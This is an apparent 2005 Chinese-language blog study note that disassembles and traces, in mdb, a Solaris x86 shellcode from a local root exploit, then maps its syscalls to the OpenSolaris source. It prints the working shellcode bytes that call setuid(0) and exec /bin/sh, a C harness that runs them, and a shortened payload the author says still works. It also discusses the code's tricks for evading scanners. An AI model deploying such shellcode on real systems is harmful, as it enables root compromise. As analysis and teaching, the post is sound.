Solaris学习笔记(2)
作者: Badcoffee
Email: blog.oliver@gmail.com
Blog: http://blog.csdn.net/yayong
2005年7月
1. 一段shell code的分析
最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让用Solaris系统的人遭暗算,具体细节就不说了。毕竟这篇文章不是教别人攻击别人系统的黑客教程:)这里只研究攻击程序里面的一段shell code。
问题:什么是shell code?
要了解shell code,先从缓冲区溢出谈起。
缓冲区溢出是黑客比较常用的攻击手段之一。众所周知,如果向一个有限空间的缓冲区拷贝了过长的字符串,就会覆盖相邻的存储单元。进程的局部变量保存在 stack当中的,一个函数的stack frame相邻的就是调用该函数时保存的返回地址。当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址,那么当函数执行完毕后就无法正常返回。因为这时返回地址往往是一个无效的地址,在这样的情况下系统一般报告: “core dump”或“segment fault”。如果这种缓冲区溢出经过精心的计算,使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列,那么这个进程的流程就会被改变,从而由我们来控制。
多数情况下,这段精心设计的指令一般的目的是执行“/bin/sh”,从而得到一个shell,因此这段代码被称为:“shell code”。如果被溢出程序是一个suid root程序,得到的将是一个root shell,这样整个机器就因为缓冲区溢出而被完全控制了。
关于缓冲区溢出,aleph one的Smashing The Stack For Fun And Profit做入门教程不错,可以看看。
为方便分析,我们把这段shell code单独拿出来,放到一个非常简单的c程序里研究。
下面是test1.c的源代码:
static char sh[] = "\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";
int main() {
void (*f)();
f = (void*)sh;
f();
return 0;
}
这里用函数指针指向字符数组sh,sh包含了整段shell code。main函数中通过对一个指向sh的函数指针的调用,从而使shell code得到执行。可以看到,程序运行后,当前的shell由bash变为了sh:
bash-3.00# gcc test1.c -o test1
bash-3.00# ./test1
# <--- 提示符改变,说明/bin/sh已经被运行,shell code执行成功
下面我们就反汇编分析这段代码。由于这段shell code在数据段,且不是一个函数定义,因此用mdb反汇编比用dis更直观一些:
# mdb ./test1
> main::dis
main: pushl %ebp
main+1: movl %esp,%ebp ---> 建立main函数的Stack Frame
main+3: subl $0x8,%esp
main+6: andl $0xfffffff0,%esp
main+9: movl $0x0,%eax
main+0xe: addl $0xf,%eax
main+0x11: addl $0xf,%eax
main+0x14: shrl $0x4,%eax
main+0x17: shll $0x4,%eax
main+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函数的栈对齐
main+0x1c: movl $0x8060a40,-0x4(%ebp) ---> 把数据段的sh的地址赋值给函数指针
main+0x23: movl -0x4(%ebp),%eax
main+0x26: call *%eax ---> 调用shell code
main+0x28: movl $0x0,%eax
main+0x2d: leave
main+0x2e: ret
> 0x8060a40=p ---> 将地址转换为符号
test1`sh ---> 可以看到,该地址就是sh的起始地址
> sh,1a/ai
test1`sh:
test1`sh: xorl %eax,%eax
test1`sh+2: jmp +0xb ---> 1. 向前跳转到地址test1`sh+0xd
test1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall $0x7,$0x0
test1`sh+0xb: jmp +0xf ---> 5. 向前跳转到地址test1`sh+0x1a
test1`sh+0xd: call -0x9 ---> 2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall $0x7,$0x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
test1`sh+0x19: ret ---> 10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行
test1`sh+0x1a: pushl %eax ---> 6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的id
test1`sh+0x1b: movb $0x17,%al ---> 7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求
test1`sh+0x1d: call -0xb ---> 8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈
test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令
test1`sh+0x24: pushl $0x5f68732f
test1`sh+0x29: pushl $0x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29将8个字符"/bin/sh_"压入栈中
test1`sh+0x2e: movb %al,0x7(%esp) ---> 13.修改前面压入栈中的第8个字符,改为寄存器al中的值,即0;此时8个字符形成以"\0"结尾的字符串:"/bin/sh"
test1`sh+0x32: movl %esp,%ebx ---> 14.将栈顶esp地址移入ebx,即“/bin/sh"串的地址存入ebx寄存器
test1`sh+0x34: pushl %eax ---> 15.将0压栈,这是exec的调用的第2个参数的第2个元素地址
test1`sh+0x35: pushl %ebx ---> 16.将ebx内容压栈,即将"/bin/sh"串的地址压栈,这是exec调用的第2个参数的第一个元素的地址
test1`sh+0x36: leal (%esp),%ecx ---> 17.将栈顶esp的地址存入ecx,即"/bin/sh"串的地址的地址存入ecx
test1`sh+0x39: leal 0x4(%esp),%edx ---> 18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义
test1`sh+0x3d: pushl %edx ---> 19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
test1`sh+0x3e: pushl %ecx ---> 20.将ecx压栈,即将“/bin/sh"串地址的地址压入栈;这是exec调用的第2个参数
test1`sh+0x3f: pushl %ebx ---> 21.将ebx内容压栈,即"/bin/sh"串的地址压栈,这是exec调用的第1个参数
test1`sh+0x40: movb $0xb,%al ---> 22.将exec的系统调用号0xb放入eax寄存器,这是Solaris系统调用的要求
test1`sh+0x42: call -0x30 ---> 23.向后调用test1`sh+0x12地址处的指令,即lcall $0x7,$0x0,调用exec系统调用
关于main函数的栈对齐及Stack Frame的概念,可以参考X86汇编语言学习手记(1)。
一般而言一个shell code至少要利用exec(2)类的系统调用来获得一个shell,但又不能依赖于任何共享库,甚至是libc库。因此shell code必须要绕过libc对系统调用的包装来直接调用操作系统提供的系统调用服务。在Solaris上,支持的系统调用的指令有5种:
lcall $0x7,$0x0 ---> 调用门,最古老的方式,现在保留是为了向前兼容
lcall $0x27,$0x0 ---> 调用门,Solaris 10以前,在不支持快速系统调用的x86机器上使用的系统调用方式
int $0x91 ---> 陷阱门,OpenSolaris在不支持快速系统调用的x86机器上使用的系统调用方式
sysenter ---> 快速系统调用指令,Solaris 10在Intel和AMD的32位模式下的系统调用方式
syscall ---> 快速系统调用指令,Solaris 10在Intel和AMD的64位模式下的系统调用方式
关于Solaris的系统调用,请参考阅读笔记: x86系统调用入门。
可以在这段shell code反汇编的结果里找到lcall指令:
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall $0x7,$0x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
虽然这个lcall指令并没有调用$0x7和$0x27,但是如果用mdb来跟踪一下,就会发现,原来在程序运行过程中这条lcall指令会被动态修改成为
lcall $0x7,$0x0
具体的修改指令如下:
test1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall $0x7,$0x0
在调用系统调用的指令之前,Solaris要求把系统调用号存入eax寄存器,因此,我们可以根据lcall执行前的eax的值查到这段shell code究竟使用了哪些系统调用:
# vi /etc/name_to_sysnum
........
exec 11 ---> 16进制的0xb
........
setuid 23 ---> 16进制的0x17
........
如果读过阅读笔记:如何给OpenSolaris增加一个系统调用这篇文章就知道,在内核中维护着一张系统调用号和内核处理函数指针的表。就在sysent.c里的sysent结构中可以找到相关的定义:
/* 11 */ SYSENT_CI("exec",exec,2),
/* 23 */ SYSENT_CI("setuid",setuid,1),
因此可以很容易的找到内核中exec调用的入口函数,就在usr/src/uts/common/os/exec.c中:
/*
* exec() - wrapper around exece providing NULL environment pointer
*/
int
exec(const char *fname, const char **argp)
{
return (exece(fname, argp, NULL)); ---> 调用了内核中的另一个入口点exece,该入口对应用户层libc中的execve函数。
}
同样的,setuid调用的入口函数,就在usr/src/uts/common/syscall/uid.c中:
int
setuid(uid_t uid)
{
........
}
现在我们知道这段shell code使用了系统调用setuid(2)和exec(2),在用户层setuid的定义是:
int setuid(uid_t uid);
但用户层却找不到名字与exec相同的函数定义,只有execv的参数和内核函数exec最接近: int execv(const char *path, char *const argv[]);
把这段shell code对应成c语言,大概是如下形式:
# vi test2.c
#include <sys/types.h>
#include <unistd.h>
int main()
{
char *argv[2]={"/bin/sh", NULL};
setuid(0);
execv(argv[0],argv);
return 0;
}
如果将test2.c和libc.a静态链接起来,就可以得到进入系统调用的汇编指令,但是Solaris 10已经不提供libc.a了。
下面就用mdb来跟踪一下整个shell code的执行过程:
> main+0x26:b ---> 设置断点
> test1`sh+0xd:b ---> 设置断点
> :r ---> 运行test1
mdb: stop at main+0x26
mdb: target stopped at:
main+0x26: call *%eax ---> test1运行到断点main+0x26处,停止,下句指令就要调用shell code
> :c ---> 继续运行
mdb: stop at test1`sh+0xd
mdb: target stopped at:
test1`sh+0xd: call -0x9 <test1`sh+4> ---> 断点处停止
> <esp,10/nap;<eax=X; ---> 输出当前Stack的内容和eax寄存器的值
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0 ---> 此时eax的值为0
> :s;<esp,10/nap;<eax=X; ---> 单步运行,并输出Stack和eax寄存器的值
mdb: target stopped at:
test1`sh+4: popl %edx
0x8047438:
0x8047438: test1`sh+0x12 ---> 根据注释2,lcall指令的地址被压栈
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;<esp,10/nap;<eax=X;<edx=X ---> 单步运行,输出Stack和eax及edx的内容
mdb: target stopped at:
test1`sh+5: movl %eax,0x1(%edx) ---> 根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c: main+0x28 ---> 根据注释3,lcall指令地址被弹出,栈顶恢复到原来的值
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
8060a52 ---> 这是edx寄存器的值
> 8060a52/ai ---> 将edx指向的内容转换成汇编指令
test1`sh+0x12:
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 恰好是edx指向的恰好是lcall指令,正如注释3所说
> :s;<esp,10/nap;<eax=X;<edx=p ---> 单步运行,输出Stack和eax的值,输出edx的值,edx值按地址显示
mdb: target stopped at:
test1`sh+8: movb %al,0x6(%edx) ---> 根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12 ---> edx的内容已经按地址显示,正好是lcall指令的地址
> test1`sh+0x12/ai ---> 将地址处的二进制数转换指令
test1`sh+0x12:
test1`sh+0x12: lcall $0x107,$0x0 ---> 注意,lcall指令已经被修改了一部分
> :s;<esp,10/nap;<eax=X;<edx=p
mdb: target stopped at:
test1`sh+0xb: jmp +0xf <test1`sh+0x1a>
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12
> test1`sh+0x12/ai
test1`sh+0x12:
test1`sh+0x12: lcall $0x7,$0x0 ---> 至此,lcall指令修改完毕,正好是Solaris的系统调用的指令
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1a: pushl %eax
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1b: movb $0x17,%al
0x8047438:
0x8047438: 0 ---> 根据注释6,这是setuid调用的第一个参数
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1d: call -0xb <test1`sh+0x12>
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
17 ---> 根据注释7,setuid的系统调用号已经被存入eax
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x12: lcall $0x7,$0x0 ---> 进入setuid系统调用前夕,调用号和调用入口参数已准备好
0x8047434:
0x8047434: test1`sh+0x22 ---> 根据注释8,我们看到,setuid返回后的地址被压栈
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
17
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x19: ret
0x8047434:
0x8047434: test1`sh+0x22 ---> 根据注释10,执行返回指令后,该地址将被弹出到eip
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x22: xorl %eax,%eax ---> 返回到了前面弹出栈的地址,马上要执行清零,见注释11
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> test1`sh+0x2e:b
> :c
mdb: stop at test1`sh+0x2e
mdb: target stopped at:
test1`sh+0x2e: movb %al,0x7(%esp)
> <esp,10/nap;<eax=X;
0x8047430:
0x8047430: 0x6e69622f ---> 这时注释12所描述的被压入栈的"/bin/sh_"
0x8047434: 0x5f68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0
> 0x8047430/s ---> 将当前栈顶的内容按字符串输出,可以看到正如注释12描述的情形
0x8047430: /bin/sh_
> test1`sh+0x42:b
> :c
mdb: stop at test1`sh+0x42
mdb: target stopped at:
test1`sh+0x42: call -0x30 <test1`sh+0x12> ---> 即将调用exec系统调用,我们可以检查是否准备好入口参数和调用号
> <esp,10/nap;<eax=X;
0x804741c:
0x804741c: 0x8047430
0x8047420: 0x8047428
0x8047424: 0x804742c
0x8047428: 0x8047430
0x804742c: 0
0x8047430: 0x6e69622f
0x8047434: 0x68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
b ---> 这是exec的调用号,已经存入eax
> 0x8047430/s
0x8047430: /bin/sh ---> exec第一个参数:const char *fname
> 0x8047428/X
0x8047428: 0x8047430 ---> exec第二个参数:const char **argp
> 0x8047430/s
0x8047dc0: /bin/sh ---> exec第二个参数的第一个元素:argp[0]
> 0x8047438/X
0x8047438: 0 ---> exec第二个参数第二个元素: argp[1]
>
> :s
mdb: target stopped at:
test1`sh+0x12: lcall $0x7,$0x0
从上面可以清楚地看到,以Solaris的lcall方式进入系统调用前,需要具备如下条件:
1. 系统调用的入口参数要从右至左顺序压入栈中。
2. 系统调用号要存入eax寄存器。
不清楚为何这段shell code不直接调用lcall $0x07,$0x0,而是运行过程中再修改?
也不清楚为何"/bin/sh"字符串不直接压入栈,而是运行中由"/bin/sh_"来修改得到?
在Unix/Linux下,如何写shell code可以参考Writing Linux/x86 shellcodes for dum dums这篇文章。
这篇文章中提到,一种检测攻击代码的方法是查找像"/bin/sh"一类的字符串,并给出了如何逃过这种检测的例子。本篇文章的shell code大费周章的做法,也许就是为了逃避安全扫描程序的检测吧。如果这种扫描程序真的是以/bin/sh和lcall $0x7,$0x0来扫描可疑程序,真的会失手呢。
2. 简化这段shell code
这种运行中动态修改指令的做法恐怕也只能是在缓冲区溢出的攻击中做到,因为一般的程序是在代码段中的,而代码段是只读的,如果运行zh过程中修改自己的指令部分,将会因SIGFAULT的错误而core dump。前面的例子中,test1恰好是把shell code放到了数据段,数据段是可读写的,因此这段shell code才能运行。
我们可以用elfdump来查看test1,可以看到sh属于数据段.data:
# elfdump test1 | grep sh
...................
[48] 0x08060a40 0x00000048 OBJT LOCL D 0 .data sh
...................
如果那些运行时修改指令的语句是为了躲避扫描程序检测,那完全可以去掉这些语句,来简化这段shell code。
另外,可以根据内核中exec的参数个数判断,test1中的下面的语句没有实际意义,可以去掉:
test1`sh+0x39: leal 0x4(%esp),%edx ---> 18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义
test1`sh+0x3d: pushl %edx ---> 19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
基于前面test1的反汇编的结果,去掉上面提到的语句后,我们可以得到一段汇编程序:
# vi test3.s
.text
.globl main
.type main, @function
main:
xorl %eax,%eax
jmp 2f
1:
lcall $0x07,$0x0
ret
2:
pushl %eax
movb $0x17,%al
call 1b
xorl %eax,%eax
pushl $0x0068732f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
leal (%esp),%ecx
pushl %ecx
pushl %ebx
movb $0xb,%al
call 1b
.size main, .-main
汇编编和链接生成二进制文件。可以看到,shell code是在main函数中,属于代码段:
# as test3.s -o test3.o
# ld test3.o -o test3
# elfdump test3 | grep main
[4] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
[17] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
5 [4] main
用dis来反汇编main函数,就可以得到新的shell code的机器码了:
# dis -F main ./test3
**** DISASSEMBLER ****
disassembly for ./test3
section .text
main()
main: 33 c0 xorl %eax,%eax
main+0x2: eb 08 jmp +0xa
main+0x4: 9a 00 00 00 00 07 00 lcall $0x7,$0x0
main+0xb: c3 ret
main+0xc: 50 pushl %eax
main+0xd: b0 17 movb $0x17,%al
main+0xf: e8 f0 ff ff ff call -0xb
main+0x14: 33 c0 xorl %eax,%eax
main+0x16: 68 2f 73 68 00 pushl $0x68732f
main+0x1b: 68 2f 62 69 6e pushl $0x6e69622f
main+0x20: 8b dc movl %esp,%ebx
main+0x22: 50 pushl %eax
main+0x23: 53 pushl %ebx
main+0x24: 8d 0c 24 leal (%esp),%ecx
main+0x27: 51 pushl %ecx
main+0x28: 53 pushl %ebx
main+0x29: b0 0b movb $0xb,%al
main+0x2b: e8 d4 ff ff ff call -0x27
如果运行test3,会起到和test1一样的效果。完全可以用反汇编出的机器码代替那个攻击程序中原来的shell code定义: static char sh[] =
"\x31\xc0\xeb\x08\x9a\x00\x00\x00\x00\x07\x00\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8d\x0c\x24\x51\x53\xb0\x0b\xe8\xcf\xff\xff\xff";
当然,把这段shell code拿到攻击程序中验证了一下,确实依旧具有杀伤力。但是,这个新的shell code短了十几个字节。
3. 更进一步
到目前为止,前面所有的过程都是通过mdb和dis反汇编后,在汇编代码一级的分析。既然Solaris已经Open Source了,为什么不直接从源代码里印证一下呢?
首先,我们验证一下Solaris进入到系统调用的方式,在 usr/src/lib/libc目录下,我们可以找到libc实现的源代码。该目录下按照libc函数和硬件的相关性分了很多目录,setuid(2)和exec(2)看起来和硬件没有什么相关,应该在common目录下,common只有一个子目录sys,所以不难找到这两个系统调用在libc的源文件setuid.s和execve.s。
下面是setuid在libc 的实现片断:
#include "SYS.h"
ANSI_PRAGMA_WEAK2(_private_setuid,_setuid,function)
SYSCALL_RVAL1(setuid)
RETC
SET_SIZE(setuid)
由于exec调用在libc中没有对应的实现,而与之参数形式最接近的execv(2)实际上只是在execve(2)上包装了一下,最终还是调用的execve。因此在这里我们考察execve在libc的实现片断:
#include "SYS.h"
ANSI_PRAGMA_WEAK2(_private_execve,execve,function)
SYSCALL_RVAL1(execve)
SET_SIZE(execve)
这两个系统调用在libc是用汇编实现的,但其中的汇编语句已经被宏定义所代替,在usr/src/uts/intel/ia32/sys/asm_linkage.h中可以找到一般的IA32体系结构的汇编的宏定义。ANSI_PRAGMA_WEAK2 这个宏的的定义如下:
/*
* Like ANSI_PRAGMA_WEAK(), but for unrelated names, as in:
*#pragma weak sym1 = sym2
*/
#defineANSI_PRAGMA_WEAK2(sym1, sym2, stype) .weaksym1; .type sym1, @stype; sym1= sym2
这里面用到的相关语法及伪指令可以参考x86 Assembly Language Reference Manual。
如果看注释的话,不难了解,其实这个宏的作用就是符号定义,给系统调用定义了weak类型的符号别名,相当于ANSI C的:
#pragma weak sym1 = sym2
用nm命令可以验证一下这个宏的实际作用:
# nm /lib/libc.so.1 | grep setuid
[712] | 647744| 21|FUNC |LOCL |2 |10 |_private_setuid
[6643] | 647744| 21|FUNC |GLOB |0 |10 |_setuid
[6473] | 647744| 21|FUNC |WEAK |0 |10 |setuid
可以看到,_private_setuid和_setuid及setuid是多个符号对应着同一个函数。
用nm也可以验证libc中确实没有exec的定义,由于输出很多,这里就不列出了: # nm /lib/libc.so.1 | grep exec
SET_SIZE 这个宏的作用是定位函数并为ELF文件的符号表指示长度,其实展开就是Solaris汇编器的伪指令.size:
#defineSET_SIZE(x) 285 .sizex, [.-x]
RETC这个宏是用来定义系统调用的返回指令,在libc的源代码SYS.h中,可以找到如下定义:
/*
* Syscall return sequence with return code forced to zero.
*/
#defineRETC xorl%eax, %eax; ret
可以看到注释中的说明,RETC的宏在返回前将return code强制设为0。
为什么libc的execve的实现中没有返回指令呢?
这个问题相信不难解答。实际上execve系统调用一旦执行成功,就会把调用该调用的进程覆盖掉,因此,也就不存在返回的问题了。
这里我们略过其它宏,只研究关心的部分,即SYSCALL_RVAL1这个宏。在libc的源代码SYS.h有一系列宏定义:
#if defined(_SYSC_INSN) --->兼容AMD64位的系统
#defineSYSTRAP_RVAL1(name)__SYSCALL(name)
#defineSYSTRAP_RVAL2(name)__SYSCALL(name)
#defineSYSTRAP_2RVALS(name)__SYSCALL(name)
#defineSYSTRAP_64RVAL(name)__SYSCALL(name)
#else/* _SYSC_INSN */
#if defined(_SEP_INSN) --->兼容IA32的支持快速系统调用的系统
#defineSYSTRAP_RVAL1(name)__SYSENTER(name)
#else/* _SEP_INSN */
#defineSYSTRAP_RVAL1(name)__SYSCALLINT(name)
#endif/* _SEP_INSN */
#defineSYSTRAP_RVAL2(name)__SYSCALLINT(name)
#defineSYSTRAP_2RVALS(name)__SYSCALLINT(name)
#defineSYSTRAP_64RVAL(name)__SYSCALLINT(name)
#endif/* _SYSC_INSN */
在i386_hwcap1及i386_hwcap2源代码目录下的Makefile文件中针对AMD64和IA32的支持快速系统调用的CPU分别定义了如下的宏:
_SYSC_INSN--兼容AMD64位的系统,使用syscall作为快速系统调用指令,对应libc的hwcap2版本
_SEP_INSN--兼容IA32的支持快速系统调用的系统,使用sysenter作为快速系统调用指令,对应libc的hwcap1版本
因此,Solaris除了系统会提供标准的libc版本外,还会有相应的硬件优化版本,分别是支持__SYSCALL()的hwcap2版本或者使用 __SYSENTER()的 hwcap1版本。
而在标准的libc库的Makefile因为没有定义上面提到的两个宏,因此SYSCALL_RVAL1就是__SYSCALLINT了:
#define __SYSCALLINT(name) /* CSTYLED */ movl $SYS_/**/name, %eax; int $T_SYSCALLINT
在usr/src/uts/intel/ia32/sys/trap.h中,可以找到T_SYSCALLINT的值:
#defineT_SYSCALLINT0x91/*general system call*/
可以看到,OpenSolaris标准的libc用的是int $0x91的方式。
很可惜在SYS.h中已经找不到lcall的方式了。在阅读笔记: x86系统调用入门中可以知道,OpenSolaris的标准libc库已经用int $0x91全面取代lcall的方式,这种方式和Linux的int $0x80是类似的。在这篇文章中,我们可以找到SYS.h原来的影子:
rab> pwd.../usr/src/lib/libc/i386/incrab
> grep SYSTRAP_RVAL1 SYS.h
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#define SYSTRAP_RVAL1(name) __SYSLCALL(name)
#define __SYSLCALL(name) /* CSTYLED */ movl $SYS_/**/name, %eax; lcall $SYSCALL_TRAPNUM, $0
当然,不论是哪一种方式,在调用系统调用之前,都会把SYS_/**/name的宏存入eax寄存器。根据系统调用的名字不同,name要被替换成相应的调用名字,对于setuid和execve,可以在syscall.h找到定义:
#defineSYS_setuid23 ---> 这个值就是16进制的0x17
#defineSYS_execve59 ---> 这个值不是0xb,说明execve和exec是两个不同的系统调用
就在sysent.c里的sysent结构中可以找到调用号59对应的入口:
/* 59 */ SYSENT_CI("exece",exece,3),
原来内核中另外还有一个exece的入口点,来支持libc中的execve进入系统调用。如前所述,内核中的exec函数是调用号11的入口点,再回头看它的代码,实际上它就是直接在内核中调用exece来实现的。
我们可以用mdb来反汇编libc的系统调用,验证一下。由于P4的CPU支持快速系统调用指令sysenter,因此Solaris默认会把 libc_hwcap1.so.1 mount在/lib/libc.so.1上,因此,要观察标准的libc库,需要先umount libc:
# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0d0s0 11G 4.3G 6.2G 42% /
objfs 0K 0K 0K 0% /system/object
/usr/lib/libc/libc_hwcap1.so.1
11G 4.3G 6.2G 42% /lib/libc.so.1 ---> 可以看到libc_hwcap1.so.1 mount在了这里
swap 872M 8K 872M 1% /tmp
swap 872M 28K 872M 1% /var/run
/dev/dsk/c0d0s7 25G 12G 13G 49% /export/home
# umount /lib/libc.so.1
# mdb /lib/libc.so.1 ---> 因为umount了,所以这时的libc是标准的libc
Loading modules: [ libc.so.1 ]
> setuid::dis
setuid: movl $0x17,%eax
setuid+5: lcall $0x27,$0x0
setuid+0xc: jb -0x807ac <__cerror>
setuid+0x12: xorl %eax,%eax
setuid+0x14: ret
> execve::dis
execve: movl $0x3b,%eax
execve+5: lcall $0x27,$0x0
